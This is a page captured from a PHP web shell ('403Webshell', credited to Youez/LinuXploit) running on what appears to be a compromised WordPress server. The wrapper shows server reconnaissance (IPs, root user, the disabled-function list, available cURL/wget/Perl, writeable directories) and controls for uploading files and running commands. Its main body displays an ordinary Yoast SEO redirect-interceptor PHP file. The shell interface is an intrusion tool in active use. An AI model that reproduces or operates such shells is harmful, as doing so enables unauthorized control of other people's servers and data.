403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/wordpress-seo/src/dashboard/user-interface/setup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/wordpress-seo/src/dashboard/user-interface/setup/setup-url-interceptor.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\User_Interface\Setup;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Setup url Interceptor class.
 */
class Setup_Url_Interceptor implements Integration_Interface {

	/**
	 * The page url where this check lives.
	 */
	public const PAGE = 'wpseo_page_site_kit_set_up';

	/**
	 * The name of the transient.
	 */
	public const SITE_KIT_SETUP_TRANSIENT = 'wpseo_site_kit_set_up_transient';

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper $current_page_helper
	 */
	private $current_page_helper;

	/**
	 * Holds the redirect helper.
	 *
	 * @var Redirect_Helper $redirect_helper
	 */
	private $redirect_helper;

	/**
	 * The Site Kit configuration object.
	 *
	 * @var Site_Kit $site_kit_configuration
	 */
	private $site_kit_configuration;

	/**
	 * The constructor.
	 *
	 * @param Current_Page_Helper $current_page_helper    The current page helper.
	 * @param Site_Kit            $site_kit_configuration The Site Kit configuration object.
	 * @param Redirect_Helper     $redirect_helper        The redirect helper to abstract away the actual redirecting.
	 */
	public function __construct( Current_Page_Helper $current_page_helper, Site_Kit $site_kit_configuration, Redirect_Helper $redirect_helper ) {
		$this->current_page_helper = $current_page_helper;
		$this->redirect_helper     = $redirect_helper;

		$this->site_kit_configuration = $site_kit_configuration;
	}

	/**
	 * The conditions for this integration to load.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Registers the interceptor code to the admin_init function.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_redirect_page' ] );
		\add_action( 'admin_init', [ $this, 'intercept_site_kit_setup_url_redirect' ], 1 );
	}

	/**
	 * Adds a dummy page.
	 *
	 * We need to register this in between page.
	 *
	 * @param array<array<string>> $pages The pages.
	 *
	 * @return array<array<string>> The pages.
	 */
	public function add_redirect_page( $pages ) {
		\add_submenu_page(
			'',
			'',
			'',
			'wpseo_manage_options',
			self::PAGE,
		);

		return $pages;
	}

	/**
	 * Checks if we are trying to reach a site kit setup url and sets the needed transient in between.
	 *
	 * @return void
	 */
	public function intercept_site_kit_setup_url_redirect() {
		$allowed_setup_links = [
			$this->site_kit_configuration->get_install_url(),
			$this->site_kit_configuration->get_activate_url(),
			$this->site_kit_configuration->get_setup_url(),
			$this->site_kit_configuration->get_update_url(),
		];

		// Are we on the in-between page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			// Check if parameter is there and is valid.
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			if ( isset( $_GET['redirect_setup_url'] ) && \in_array( \wp_unslash( $_GET['redirect_setup_url'] ), $allowed_setup_links, true ) ) {
				// We overwrite the transient for each time this redirect is hit to keep refreshing the time.
				\set_transient( self::SITE_KIT_SETUP_TRANSIENT, 1, ( \MINUTE_IN_SECONDS * 15 ) );
				// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Only allowed pre verified links can end up here.
				$redirect_url = \wp_unslash( $_GET['redirect_setup_url'] );
				$this->redirect_helper->do_safe_redirect( $redirect_url, 302, 'Yoast SEO' );
			}
			else {
				$this->redirect_helper->do_safe_redirect( \self_admin_url( 'admin.php?page=wpseo_dashboard' ), 302, 'Yoast SEO' );
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit